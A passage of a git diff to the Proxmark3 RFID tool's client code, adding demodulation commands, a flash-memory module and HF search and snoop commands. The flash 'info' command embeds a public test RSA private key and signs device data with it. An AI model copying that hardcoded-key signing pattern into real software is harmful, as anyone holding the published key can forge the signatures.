{ //10 for fsk2 + lowTot += (data[i + j] & 0xffff); + } + for (j = 0; j < HighToneFC; j++) { //8 for fsk2 + highTot += (data[i + j] >> 16); + } + + // subtract the sum of lowTone averages by the sum of highTone averages as it + // and write back the new graph value + data[i] = lowTot - highTot; + } + // update dataLen to what we put back to the data sample buffer + *dataLen -= (clk + LowToneFC); + return 0; +} + + +int CmdFSKToNRZ(const char *Cmd) { + // take clk, fc_low, fc_high + // blank = auto; + bool errors = false; + int clk = 0; + char cmdp = 0; + int fc_low = 10, fc_high = 8; + while(param_getchar(Cmd, cmdp) != 0x00) + { + switch (tolower(param_getchar(Cmd, cmdp))) + { + case 'h': + return usage_data_fsktonrz(); + case 'c': + clk = param_get32ex(Cmd, cmdp+1, 0, 10); + cmdp += 2; + break; + case 'f': + fc_high = param_get32ex(Cmd, cmdp+1, 0, 10); + cmdp += 2; + break; + case 'l': + fc_low = param_get32ex(Cmd, cmdp+1, 0, 10); + cmdp += 2; + break; + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + if(errors) break; + } + //Validations + if(errors) return usage_data_fsktonrz(); + + setClockGrid(0,0); + DemodBufferLen = 0; + int ans = FSKToNRZ(GraphBuffer, &GraphTraceLen, clk, fc_low, fc_high); + CmdNorm(""); + RepaintGraphWindow(); + return ans; +} + + +int CmdDataIIR(const char *Cmd){ + uint8_t k = param_get8(Cmd,0); + //iceIIR_Butterworth(GraphBuffer, GraphTraceLen); + iceSimple_Filter(GraphBuffer, GraphTraceLen, k); + RepaintGraphWindow(); + return 0; +} + +static command_t CommandTable[] = +{ + {"help", CmdHelp, 1, "This help"}, + {"askedgedetect", CmdAskEdgeDetect, 1, "[threshold] Adjust Graph for manual ASK demod using the length of sample differences to detect the edge of a wave (use 20-45, def:25)"}, + {"autocorr", CmdAutoCorr, 1, "[window length] [g] -- Autocorrelation over window - g to save back to GraphBuffer (overwrite)"}, + {"biphaserawdecode",CmdBiphaseDecodeRaw,1, "[offset] [invert<0|1>] [maxErr] -- Biphase decode bin stream in DemodBuffer (offset = 0|1 bits to shift the decode start)"}, + {"bin2hex", Cmdbin2hex, 1, " -- Converts binary to hexadecimal"}, + {"bitsamples", CmdBitsamples, 0, "Get raw samples as bitstring"}, + {"buffclear", CmdBuffClear, 1, "Clears bigbuff on deviceside and graph window"}, + {"dec", CmdDec, 1, "Decimate samples"}, + {"detectclock", CmdDetectClockRate, 1, "[] Detect ASK, FSK, NRZ, PSK clock rate of wave in GraphBuffer"}, + {"fsktonrz", CmdFSKToNRZ, 1, "Convert fsk2 to nrz wave for alternate fsk demodulating (for weak fsk)"}, + + {"getbitstream", CmdGetBitStream, 1, "Convert GraphBuffer's >=1 values to 1 and <1 to 0"}, + {"grid", CmdGrid, 1, " -- overlay grid on graph window, use zero value to turn off either"}, + {"hexsamples", CmdHexsamples, 0, " [] -- Dump big buffer as hex bytes"}, + {"hex2bin", Cmdhex2bin, 1, " -- Converts hexadecimal to binary"}, + {"hide", CmdHide, 1, "Hide graph window"}, + {"hpf", CmdHpf, 1, "Remove DC offset from trace"}, + {"load", CmdLoad, 1, " -- Load trace (to graph window"}, + {"ltrim", CmdLtrim, 1, " -- Trim samples from left of trace"}, + {"rtrim", CmdRtrim, 1, " -- Trim samples from right of trace"}, + {"mtrim", CmdMtrim, 1, " -- Trim out samples from the specified start to the specified stop"}, + {"manrawdecode", Cmdmandecoderaw, 1, "[invert] [maxErr] -- Manchester decode binary stream in DemodBuffer"}, + {"norm", CmdNorm, 1, "Normalize max/min to +/-128"}, + {"plot", CmdPlot, 1, "Show graph window (hit 'h' in window for keystroke help)"}, + {"printdemodbuffer",CmdPrintDemodBuff, 1, "[x] [o] [l] -- print the data in the DemodBuffer - 'x' for hex output"}, + {"rawdemod", CmdRawDemod, 1, "[modulation] ... -see help (h option) -- Demodulate the data in the GraphBuffer and output binary"}, + {"samples", CmdSamples, 0, "[512 - 40000] -- Get raw samples for graph window (GraphBuffer)"}, + {"save", CmdSave, 1, " -- Save trace (from graph window)"}, + {"setgraphmarkers", CmdSetGraphMarkers, 1, "[orange_marker] [blue_marker] (in graph window)"}, + {"scale", CmdScale, 1, " -- Set cursor display scale"}, + {"setdebugmode", CmdSetDebugMode, 1, "<0|1|2> -- Turn on or off Debugging Level for lf demods"}, + {"shiftgraphzero", CmdGraphShiftZero, 1, " -- Shift 0 for Graphed wave + or - shift value"}, + {"dirthreshold", CmdDirectionalThreshold, 1, " -- Max rising higher up-thres/ Min falling lower down-thres, keep rest as prev."}, + {"tune", CmdTuneSamples, 0, "Get hw tune samples for graph window"}, + {"undec", CmdUndec, 1, "Un-decimate samples by 2"}, + {"zerocrossings", CmdZerocrossings, 1, "Count time between zero-crossings"}, + {"iir", CmdDataIIR, 0, "apply IIR buttersworth filter on plotdata"}, + {NULL, NULL, 0, NULL} }; -int CmdData(const char *Cmd) -{ - CmdsParse(CommandTable, Cmd); - return 0; +int CmdData(const char *Cmd){ + clearCommandBuffer(); + CmdsParse(CommandTable, Cmd); + return 0; } int CmdHelp(const char *Cmd) { - CmdsHelp(CommandTable); - return 0; + CmdsHelp(CommandTable); + return 0; } diff --git a/client/cmddata.h b/client/cmddata.h index 716c9c39c..dbd735747 100644 --- a/client/cmddata.h +++ b/client/cmddata.h @@ -11,34 +11,90 @@ #ifndef CMDDATA_H__ #define CMDDATA_H__ +#include //size_t +#include //uint_32+ +#include //bool +#include "cmdparser.h" // for command_t + +#include // also included in util.h +#include // also included in util.h +#include +#include // for CmdNorm INT_MIN && INT_MAX +#include "util.h" +#include "cmdmain.h" +#include "proxmark3.h" // sendcommand +#include "ui.h" // for show graph controls +#include "graph.h" // for graph data +#include "usb_cmd.h" // already included in cmdmain.h and proxmark3.h +#include "lfdemod.h" // for demod code +#include "crc.h" // for pyramid checksum maxim +#include "crc16.h" // for FDXB demod checksum +#include "loclass/cipherutils.h" // for decimating samples in getsamples +#include "cmdlfem4x.h" // askem410xdecode + command_t * CmdDataCommands(); int CmdData(const char *Cmd); +void printDemodBuff(void); +void setDemodBuf(uint8_t *buff, size_t size, size_t startIdx); +bool getDemodBuf(uint8_t *buff, size_t *size); +void save_restoreDB(uint8_t saveOpt);// option '1' to save DemodBuffer any other to restore +int CmdPrintDemodBuff(const char *Cmd); -int CmdAmp(const char *Cmd); -int Cmdaskdemod(const char *Cmd); +int Cmdaskrawdemod(const char *Cmd); +int Cmdaskmandemod(const char *Cmd); +int AutoCorrelate(const int *in, int *out, size_t len, int window, bool SaveGrph, bool verbose); +int CmdAskEdgeDetect(const char *Cmd); int CmdAutoCorr(const char *Cmd); +int CmdBiphaseDecodeRaw(const char *Cmd); int CmdBitsamples(const char *Cmd); -int CmdBitstream(const char *Cmd); int CmdBuffClear(const char *Cmd); int CmdDec(const char *Cmd); int CmdDetectClockRate(const char *Cmd); -int CmdFSKdemod(const char *Cmd); +int CmdFSKrawdemod(const char *Cmd); +int CmdPSK1rawDemod(const char *Cmd); +int CmdPSK2rawDemod(const char *Cmd); +int CmdPSKIdteck(const char *Cmd); int CmdGrid(const char *Cmd); +int CmdGetBitStream(const char *Cmd); int CmdHexsamples(const char *Cmd); int CmdHide(const char *Cmd); int CmdHpf(const char *Cmd); int CmdLoad(const char *Cmd); int CmdLtrim(const char *Cmd); -int CmdManchesterDemod(const char *Cmd); -int CmdManchesterMod(const char *Cmd); +int CmdRtrim(const char *Cmd); +int Cmdmandecoderaw(const char *Cmd); int CmdNorm(const char *Cmd); +int CmdNRZrawDemod(const char *Cmd); int CmdPlot(const char *Cmd); +int CmdPrintDemodBuff(const char *Cmd); +int CmdRawDemod(const char *Cmd); int CmdSamples(const char *Cmd); +int CmdTuneSamples(const char *Cmd); int CmdSave(const char *Cmd); int CmdScale(const char *Cmd); -int CmdThreshold(const char *Cmd); int CmdDirectionalThreshold(const char *Cmd); int CmdZerocrossings(const char *Cmd); +int ASKbiphaseDemod(const char *Cmd, bool verbose); +int ASKDemod(const char *Cmd, bool verbose, bool emSearch, uint8_t askType); +int ASKDemod_ext(const char *Cmd, bool verbose, bool emSearch, uint8_t askType, bool *stCheck); +int FSKrawDemod(const char *Cmd, bool verbose); +int PSKDemod(const char *Cmd, bool verbose); +int NRZrawDemod(const char *Cmd, bool verbose); +int getSamples(int n, bool silent); +void setClockGrid(int clk, int offset); +int directionalThreshold(const int* in, int *out, size_t len, int8_t up, int8_t down); +extern int AskEdgeDetect(const int *in, int *out, int len, int threshold); + +int CmdDataIIR(const char *Cmd); + +#define MAX_DEMOD_BUF_LEN (1024*128) +#define BIGBUF_SIZE 40000 +extern uint8_t DemodBuffer[MAX_DEMOD_BUF_LEN]; +extern size_t DemodBufferLen; + +extern int g_DemodClock; +extern size_t g_DemodStartIdx; +extern uint8_t g_debugMode; #endif diff --git a/client/cmdflashmem.c b/client/cmdflashmem.c new file mode 100644 index 000000000..2b86bdcfc --- /dev/null +++ b/client/cmdflashmem.c @@ -0,0 +1,528 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2018 iceman +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Proxmark3 RDV40 Flash memory commands +//----------------------------------------------------------------------------- +#include "cmdflashmem.h" + +#include "rsa.h" +#include "sha1.h" + +static int CmdHelp(const char *Cmd); +int usage_flashmem_read(void){ + PrintAndLogEx(NORMAL, "Read flash memory on device"); + PrintAndLogEx(NORMAL, "Usage: mem read o l "); + PrintAndLogEx(NORMAL, " o : offset in memory"); + PrintAndLogEx(NORMAL, " l : length"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " mem read o 0 l 32"); // read 32 bytes starting at offset 0 + PrintAndLogEx(NORMAL, " mem read o 1024 l 10"); // read 10 bytes starting at offset 1024 + return 0; +} +int usage_flashmem_load(void){ + PrintAndLogEx(NORMAL, "Loads binary file into flash memory on device"); + PrintAndLogEx(NORMAL, "Usage: mem load o f "); + PrintAndLogEx(NORMAL, " o : offset in memory"); + PrintAndLogEx(NORMAL, " f : file name"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " mem load f myfile"); // upload file myfile at default offset 0 + PrintAndLogEx(NORMAL, " mem load f myfile o 1024"); // upload file myfile at offset 1024 + return 0; +} +int usage_flashmem_save(void){ + PrintAndLogEx(NORMAL, "Saves flash memory on device into the file"); + PrintAndLogEx(NORMAL, " Usage: mem save o l f "); + PrintAndLogEx(NORMAL, " o : offset in memory"); + PrintAndLogEx(NORMAL, " l : length"); + PrintAndLogEx(NORMAL, " f : file name"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " mem save f myfile"); // download whole flashmem to file myfile + PrintAndLogEx(NORMAL, " mem save f myfile l 4096"); // download 4096 bytes from default offset 0 to file myfile + PrintAndLogEx(NORMAL, " mem save f myfile o 1024 l 4096"); // downlowd 4096 bytes from offset 1024 to file myfile + return 0; +} +int usage_flashmem_wipe(void){ + + PrintAndLogEx(WARNING, "[OBS] use with caution."); + PrintAndLogEx(NORMAL, "Wipe flash memory on device, which fills memory with 0xFF\n"); + + PrintAndLogEx(NORMAL, " Usage: mem wipe p "); + PrintAndLogEx(NORMAL, " p : 0,1,2 page memory"); +// PrintAndLogEx(NORMAL, " i : inital total wipe"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " mem wipe "); // wipe page 0,1,2 + PrintAndLogEx(NORMAL, " mem wipe p 0"); // wipes first page. + return 0; +} +int usage_flashmem_info(void){ + PrintAndLogEx(NORMAL, "Collect signature and verify it from flash memory\n"); + PrintAndLogEx(NORMAL, " Usage: mem info [h|s|w]"); + PrintAndLogEx(NORMAL, " s : create a signature"); + PrintAndLogEx(NORMAL, " w : write signature to flash memory"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " mem info"); + PrintAndLogEx(NORMAL, " mem info s"); + return 0; +} + +int CmdFlashMemRead(const char *Cmd) { + + uint8_t cmdp = 0; + bool errors = false; + uint32_t start_index = 0, len = 0; + + while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { + switch (tolower(param_getchar(Cmd, cmdp))) { + case 'o': + start_index = param_get32ex(Cmd, cmdp+1, 0, 10); + cmdp += 2; + break; + case 'l': + len = param_get32ex(Cmd, cmdp+1, 0, 10); + cmdp += 2; + break; + case 'h': + return usage_flashmem_read(); + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + } + + //Validations + if (errors || cmdp == 0 ) return usage_flashmem_read(); + + if (start_index + len > FLASH_MEM_MAX_SIZE) { + PrintAndLogDevice(WARNING, "error, start_index + length is larger than available memory"); + return 1; + } + + UsbCommand c = {CMD_READ_FLASH_MEM, {start_index, len, 0}}; + clearCommandBuffer(); + SendCommand(&c); + return 0; +} +int CmdFlashMemLoad(const char *Cmd){ + + FILE *f; + char filename[FILE_PATH_SIZE] = {0}; + uint8_t cmdp = 0; + bool errors = false; + uint32_t start_index = 0; + + while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { + switch (tolower(param_getchar(Cmd, cmdp))) { + case 'o': + start_index = param_get32ex(Cmd, cmdp+1, 0, 10); + cmdp += 2; + break; + case 'f': + //File handling and reading + if ( param_getstr(Cmd, cmdp+1, filename, FILE_PATH_SIZE) >= FILE_PATH_SIZE ) { + PrintAndLogEx(FAILED, "Filename too long"); + errors = true; + break; + } + cmdp += 2; + break; + case 'h': + return usage_flashmem_load(); + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + } + + //Validations + if (errors || cmdp == 0 ) return usage_flashmem_load(); + + // load file + f = fopen(filename, "rb"); + if ( !f ){ + PrintAndLogEx(FAILED, "File: %s: not found or locked.", filename); + return 1; + } + + // get filesize in order to malloc memory + fseek(f, 0, SEEK_END); + long fsize = ftell(f); + fseek(f, 0, SEEK_SET); + + if (fsize < 0) { + PrintAndLogDevice(WARNING, "error, when getting filesize"); + fclose(f); + return 1; + } + + if (fsize > FLASH_MEM_MAX_SIZE) { + PrintAndLogDevice(WARNING, "error, filesize is larger than available memory"); + fclose(f); + return 1; + } + + uint8_t *dump = calloc(fsize, sizeof(uint8_t)); + if (!dump) { + PrintAndLogDevice(WARNING, "error, cannot allocate memory "); + fclose(f); + return 1; + } + + size_t bytes_read = fread(dump, 1, fsize, f); + if (f) + fclose(f); + + //Send to device + uint32_t bytes_sent = 0; + uint32_t bytes_remaining = bytes_read; + + while (bytes_remaining > 0){ + uint32_t bytes_in_packet = MIN(FLASH_MEM_BLOCK_SIZE, bytes_remaining); + + UsbCommand c = {CMD_WRITE_FLASH_MEM, {start_index + bytes_sent, bytes_in_packet, 0}}; + + memcpy(c.d.asBytes, dump + bytes_sent, bytes_in_packet); + clearCommandBuffer(); + SendCommand(&c); + + bytes_remaining -= bytes_in_packet; + bytes_sent += bytes_in_packet; + + UsbCommand resp; + if ( !WaitForResponseTimeout(CMD_ACK, &resp, 2000) ) { + PrintAndLogEx(WARNING, "timeout while waiting for reply."); + free(dump); + return 1; + } + + uint8_t isok = resp.arg[0] & 0xFF; + if (!isok) + PrintAndLogEx(FAILED, "Flash write fail [offset %u]", bytes_sent); + + } + free(dump); + + PrintAndLogEx(SUCCESS, "Wrote %u bytes to offset %u", bytes_read, start_index); + return 0; +} +int CmdFlashMemSave(const char *Cmd){ + + char filename[FILE_PATH_SIZE] = {0}; + uint8_t cmdp = 0; + bool errors = false; + uint32_t start_index = 0, len = FLASH_MEM_MAX_SIZE; + + while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { + switch (tolower(param_getchar(Cmd, cmdp))) { + case 'h': return usage_flashmem_save(); + case 'l': + len = param_get32ex(Cmd, cmdp+1, FLASH_MEM_MAX_SIZE, 10); + cmdp += 2; + break; + case 'o': + start_index = param_get32ex(Cmd, cmdp+1, 0, 10); + cmdp += 2; + break; + case 'f': + //File handling + if ( param_getstr(Cmd, cmdp+1, filename, FILE_PATH_SIZE) >= FILE_PATH_SIZE ) { + PrintAndLogEx(FAILED, "Filename too long"); + errors = true; + break; + } + cmdp += 2; + break; + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + } + + //Validations + if (errors || cmdp == 0 ) return usage_flashmem_save(); + + uint8_t* dump = calloc(len, sizeof(uint8_t)); + if (!dump) { + PrintAndLogDevice(WARNING, "error, cannot allocate memory "); + return 1; + } + + PrintAndLogEx(NORMAL, "downloading %u bytes from flashmem", len); + if ( !GetFromDevice(FLASH_MEM, dump, len, start_index, NULL, -1, true) ) { + PrintAndLogEx(FAILED, "ERROR; downloading flashmem"); + free(dump); + return 1; + } + + saveFile(filename, "bin", dump, len); + saveFileEML(filename, "eml", dump, len, 16); + free(dump); + return 0; +} +int CmdFlashMemWipe(const char *Cmd){ + + uint8_t cmdp = 0; + bool errors = false; + bool initalwipe = false; + uint8_t page = 0; + while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { + switch (tolower(param_getchar(Cmd, cmdp))) { + case 'h': return usage_flashmem_wipe(); + case 'p': + page = param_get8ex(Cmd, cmdp+1, 0, 10); + if ( page > 2 ) { + PrintAndLogEx(WARNING, "page must be 0, 1 or 2"); + errors = true; + break; + } + cmdp += 2; + break; + case 'i': + initalwipe = true; + cmdp++; + break; + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + } + + //Validations + if (errors || cmdp == 0 ) return usage_flashmem_wipe(); + + UsbCommand c = {CMD_WIPE_FLASH_MEM, {page, initalwipe, 0}}; + clearCommandBuffer(); + SendCommand(&c); + UsbCommand resp; + if ( !WaitForResponseTimeout(CMD_ACK, &resp, 8000) ) { + PrintAndLogEx(WARNING, "timeout while waiting for reply."); + return 1; + } + uint8_t isok = resp.arg[0] & 0xFF; + if (isok) + PrintAndLogEx(SUCCESS, "Flash WIPE ok"); + else + PrintAndLogEx(FAILED, "Flash WIPE failed"); + + return 0; +} +int CmdFlashMemInfo(const char *Cmd){ + + uint8_t sha_hash[20] = {0}; + rsa_context rsa; + + uint8_t cmdp = 0; + bool errors = false, shall_write = false, shall_sign = false; + while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { + switch (tolower(param_getchar(Cmd, cmdp))) { + case 'h': return usage_flashmem_info(); + case 's': { + shall_sign = true; + cmdp++; + break; + } + case 'w': + shall_write = true; + cmdp++; + break; + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + } + + //Validations + if (errors ) return usage_flashmem_info(); + + UsbCommand c = {CMD_INFO_FLASH_MEM, {0, 0, 0}}; + clearCommandBuffer(); + SendCommand(&c); + UsbCommand resp; + if ( !WaitForResponseTimeout(CMD_ACK, &resp, 2500) ) { + PrintAndLogEx(WARNING, "timeout while waiting for reply."); + return 1; + } + + uint8_t isok = resp.arg[0] & 0xFF; + if (!isok) { + PrintAndLogEx(FAILED, "failed"); + return 1; + } + + // validate signature here + rdv40_validation_t mem; + memcpy(&mem, (rdv40_validation_t *)resp.d.asBytes, sizeof(rdv40_validation_t)); + + // Flash ID hash (sha1) + sha1( mem.flashid, sizeof(mem.flashid), sha_hash ); + + // print header + PrintAndLogEx(INFO, "\n--- Flash memory Information ---------"); + PrintAndLogEx(INFO, "-------------------------------------------------------------"); + PrintAndLogEx(INFO, "ID | %s", sprint_hex(mem.flashid, sizeof(mem.flashid) )); + PrintAndLogEx(INFO, "SHA1 | %s", sprint_hex(sha_hash, sizeof(sha_hash))); + PrintAndLogEx(INFO, "RSA SIGNATURE |"); + print_hex_break( mem.signature, sizeof(mem.signature), 32); + +//------------------------------------------------------------------------------- +// Example RSA-1024 keypair, for test purposes (from common/polarssl/rsa.c) +// + +// public key modulus N +#define RSA_N "9292758453063D803DD603D5E777D788" \ + "8ED1D5BF35786190FA2F23EBC0848AEA" \ + "DDA92CA6C3D80B32C4D109BE0F36D6AE" \ + "7130B9CED7ACDF54CFC7555AC14EEBAB" \ + "93A89813FBF3C4F8066D2D800F7C38A8" \ + "1AE31942917403FF4946B0A83D3D3E05" \ + "EE57C6F5F5606FB5D4BC6CD34EE0801A" \ + "5E94BB77B07507233A0BC7BAC8F90F79" + +// public key Exponent E +#define RSA_E "10001" + +// private key Exponent D +#define RSA_D "24BF6185468786FDD303083D25E64EFC" \ + "66CA472BC44D253102F8B4A9D3BFA750" \ + "91386C0077937FE33FA3252D28855837" \ + "AE1B484A8A9A45F7EE8C0C634F99E8CD" \ + "DF79C5CE07EE72C7F123142198164234" \ + "CABB724CF78B8173B9F880FC86322407" \ + "AF1FEDFDDE2BEB674CA15F3E81A1521E" \ + "071513A1E85B5DFA031F21ECAE91A34D" + +// prime P +#define RSA_P "C36D0EB7FCD285223CFB5AABA5BDA3D8" \ + "2C01CAD19EA484A87EA4377637E75500" \ + "FCB2005C5C7DD6EC4AC023CDA285D796" \ + "C3D9E75E1EFC42488BB4F1D13AC30A57" + +// prime Q +#define RSA_Q "C000DF51A7C77AE8D7C7370C1FF55B69" \ + "E211C2B9E5DB1ED0BF61D0D9899620F4" \ + "910E4168387E3C30AA1E00C339A79508" \ + "8452DD96A9A5EA5D9DCA68DA636032AF" + +#define RSA_DP "C1ACF567564274FB07A0BBAD5D26E298" \ + "3C94D22288ACD763FD8E5600ED4A702D" \ + "F84198A5F06C2E72236AE490C93F07F8" \ + "3CC559CD27BC2D1CA488811730BB5725" + +#define RSA_DQ "4959CBF6F8FEF750AEE6977C155579C7" \ + "D8AAEA56749EA28623272E4F7D0592AF" \ + "7C1F1313CAC9471B5C523BFE592F517B" \ + "407A1BD76C164B93DA2D32A383E58357" + +#define RSA_QP "9AE7FBC99546432DF71896FC239EADAE" \ + "F38D18D2B2F0E2DD275AA977E2BF4411" \ + "F5A3B2A5D33605AEBBCCBA7FEB9F2D2F" \ + "A74206CEC169D74BF5A8C50D6F48EA08" + + +#define KEY_LEN 128 + + rsa_init(&rsa, RSA_PKCS_V15, 0); + + rsa.len = KEY_LEN; + + mpi_read_string( &rsa.N , 16, RSA_N ); + mpi_read_string( &rsa.E , 16, RSA_E ); + mpi_read_string( &rsa.D , 16, RSA_D ); + mpi_read_string( &rsa.P , 16, RSA_P ); + mpi_read_string( &rsa.Q , 16, RSA_Q ); + mpi_read_string( &rsa.DP, 16, RSA_DP ); + mpi_read_string( &rsa.DQ, 16, RSA_DQ ); + mpi_read_string( &rsa.QP, 16, RSA_QP ); + + PrintAndLogEx(INFO, "KEY length | %d", KEY_LEN); + + bool is_keyok = ( rsa_check_pubkey( &rsa ) == 0 || rsa_check_privkey( &rsa ) == 0 ); + if (is_keyok) + PrintAndLogEx(SUCCESS, "RSA key validation ok"); + else + PrintAndLogEx(FAILED, "RSA key validation failed"); + + // + uint8_t from_device[KEY_LEN]; + uint8_t sign[KEY_LEN]; + + // to be verified + memcpy(from_device, mem.signature, KEY_LEN); + + // to be signed (all zeros + memset(sign, 0, KEY_LEN); + + // Signing (private key) + if (shall_sign) { + + int is_signed = rsa_pkcs1_sign( &rsa, NULL, NULL, RSA_PRIVATE, SIG_RSA_SHA1, 20, sha_hash, sign ); + if (is_signed == 0) + PrintAndLogEx(SUCCESS, "RSA Signing ok"); + else + PrintAndLogEx(FAILED, "RSA Signing failed"); + + if (shall_write) { + // save to mem + c = (UsbCommand){CMD_WRITE_FLASH_MEM, {FLASH_MEM_SIGNATURE_OFFSET, FLASH_MEM_SIGNATURE_LEN, 0}}; + memcpy(c.d.asBytes, sign, sizeof(sign)); + clearCommandBuffer(); + SendCommand(&c); + if ( !WaitForResponseTimeout(CMD_ACK, &resp, 2000) ) { + PrintAndLogEx(WARNING, "timeout while waiting for reply."); + } else { + + if (!resp.arg[0]) + PrintAndLogEx(FAILED, "Writing signature failed"); + else + PrintAndLogEx(SUCCESS, "Writing signature ok [offset: %u]", FLASH_MEM_SIGNATURE_OFFSET); + + } + } + PrintAndLogEx(INFO, "Signed | "); + print_hex_break( sign, sizeof(sign), 32); + } + + // Verify (public key) + int is_verified = rsa_pkcs1_verify( &rsa, RSA_PUBLIC, SIG_RSA_SHA1, 20, sha_hash, from_device ); + if (is_verified == 0) + PrintAndLogEx(SUCCESS, "RSA Verification ok"); + else + PrintAndLogEx(FAILED, "RSA Verification failed"); + + rsa_free(&rsa); + return 0; +} + +static command_t CommandTable[] = { + {"help", CmdHelp, 1, "This help"}, + {"read", CmdFlashMemRead, 1, "Read Flash memory [rdv40]"}, + {"info", CmdFlashMemInfo, 1, "Flash memory information [rdv40]"}, + {"load", CmdFlashMemLoad, 1, "Load data into flash memory [rdv40]"}, + {"save", CmdFlashMemSave, 1, "Save data from flash memory [rdv40]"}, + {"wipe", CmdFlashMemWipe, 1, "Wipe data from flash memory [rdv40]"}, + {NULL, NULL, 0, NULL} +}; + +int CmdFlashMem(const char *Cmd) { + clearCommandBuffer(); + CmdsParse(CommandTable, Cmd); + return 0; +} + +int CmdHelp(const char *Cmd) { + CmdsHelp(CommandTable); + return 0; +} diff --git a/client/cmdflashmem.h b/client/cmdflashmem.h new file mode 100644 index 000000000..99b18b4c5 --- /dev/null +++ b/client/cmdflashmem.h @@ -0,0 +1,34 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2018 iceman +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Proxmark3 RDV40 Flash memory commands +//----------------------------------------------------------------------------- + +#ifndef CMDFLASHMEM_H__ +#define CMDFLASHMEM_H__ + +#include +#include +#include +#include +#include "proxmark3.h" +#include "ui.h" +#include "cmdparser.h" +#include "common.h" +#include "util.h" +#include "util_posix.h" // msclock +#include "loclass/fileutils.h" //saveFile +#include "cmdmain.h" //getfromdevice + +extern int CmdFlashMem(const char *Cmd); + +extern int CmdFlashMemRead(const char* cmd); +extern int CmdFlashMemLoad(const char* cmd); +extern int CmdFlashMemSave(const char* cmd); +extern int CmdFlashMemWipe(const char *Cmd); +extern int CmdFlashMemInfo(const char *Cmd); +#endif \ No newline at end of file diff --git a/client/cmdhf.c b/client/cmdhf.c index d955fc832..594450271 100644 --- a/client/cmdhf.c +++ b/client/cmdhf.c @@ -1,5 +1,6 @@ //----------------------------------------------------------------------------- // Copyright (C) 2010 iZsh +// Merlok - 2017 // // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of @@ -7,53 +8,132 @@ //----------------------------------------------------------------------------- // High frequency commands //----------------------------------------------------------------------------- - -#include -//#include "proxusb.h" -#include "proxmark3.h" -#include "graph.h" -#include "ui.h" -#include "cmdparser.h" #include "cmdhf.h" -#include "cmdhf14a.h" -#include "cmdhf14b.h" -#include "cmdhf15.h" -#include "cmdhfepa.h" -#include "cmdhflegic.h" -#include "cmdhficlass.h" -#include "cmdhfmf.h" static int CmdHelp(const char *Cmd); -int CmdHFTune(const char *Cmd) -{ - UsbCommand c={CMD_MEASURE_ANTENNA_TUNING_HF}; - SendCommand(&c); - return 0; +int usage_hf_search(){ + PrintAndLogEx(NORMAL, "Usage: hf search"); + PrintAndLogEx(NORMAL, "Will try to find a HF read out of the unknown tag. Stops when found."); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h - This help"); + PrintAndLogEx(NORMAL, ""); + return 0; +} +int usage_hf_snoop(){ + PrintAndLogEx(NORMAL, "Usage: hf snoop "); + PrintAndLogEx(NORMAL, "The high frequence snoop will assign all available memory on device for snooped data"); + PrintAndLogEx(NORMAL, "User the 'data samples' command to download from device, and 'data plot' to look at it"); + PrintAndLogEx(NORMAL, "Press button to quit the snooping."); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h - This help"); + PrintAndLogEx(NORMAL, " - skip sample pairs"); + PrintAndLogEx(NORMAL, " - skip number of triggers"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf snoop"); + PrintAndLogEx(NORMAL, " hf snoop 1000 0"); + return 0; } -static command_t CommandTable[] = -{ - {"help", CmdHelp, 1, "This help"}, - {"14a", CmdHF14A, 1, "{ ISO14443A RFIDs... }"}, - {"14b", CmdHF14B, 1, "{ ISO14443B RFIDs... }"}, - {"15", CmdHF15, 1, "{ ISO15693 RFIDs... }"}, - {"epa", CmdHFEPA, 1, "{ German Identification Card... }"}, - {"legic", CmdHFLegic, 0, "{ LEGIC RFIDs... }"}, - {"iclass", CmdHFiClass, 1, "{ ICLASS RFIDs... }"}, - {"mf", CmdHFMF, 1, "{ MIFARE RFIDs... }"}, - {"tune", CmdHFTune, 0, "Continuously measure HF antenna tuning"}, - {NULL, NULL, 0, NULL} +int CmdHFSearch(const char *Cmd){ + + char cmdp = param_getchar(Cmd, 0); + if (cmdp == 'h' || cmdp == 'H') return usage_hf_search(); + + int ans = CmdHF14AInfo("s"); + if (ans > 0) { + PrintAndLogEx(SUCCESS, "\nValid ISO14443-A Tag Found\n"); + return ans; + } + ans = HF15Reader("", false); + if (ans) { + PrintAndLogEx(SUCCESS, "\nValid ISO15693 Tag Found\n"); + return ans; + } + ans = HFLegicReader("", false); + if ( ans == 0) { + PrintAndLogEx(SUCCESS, "\nValid LEGIC Tag Found\n"); + 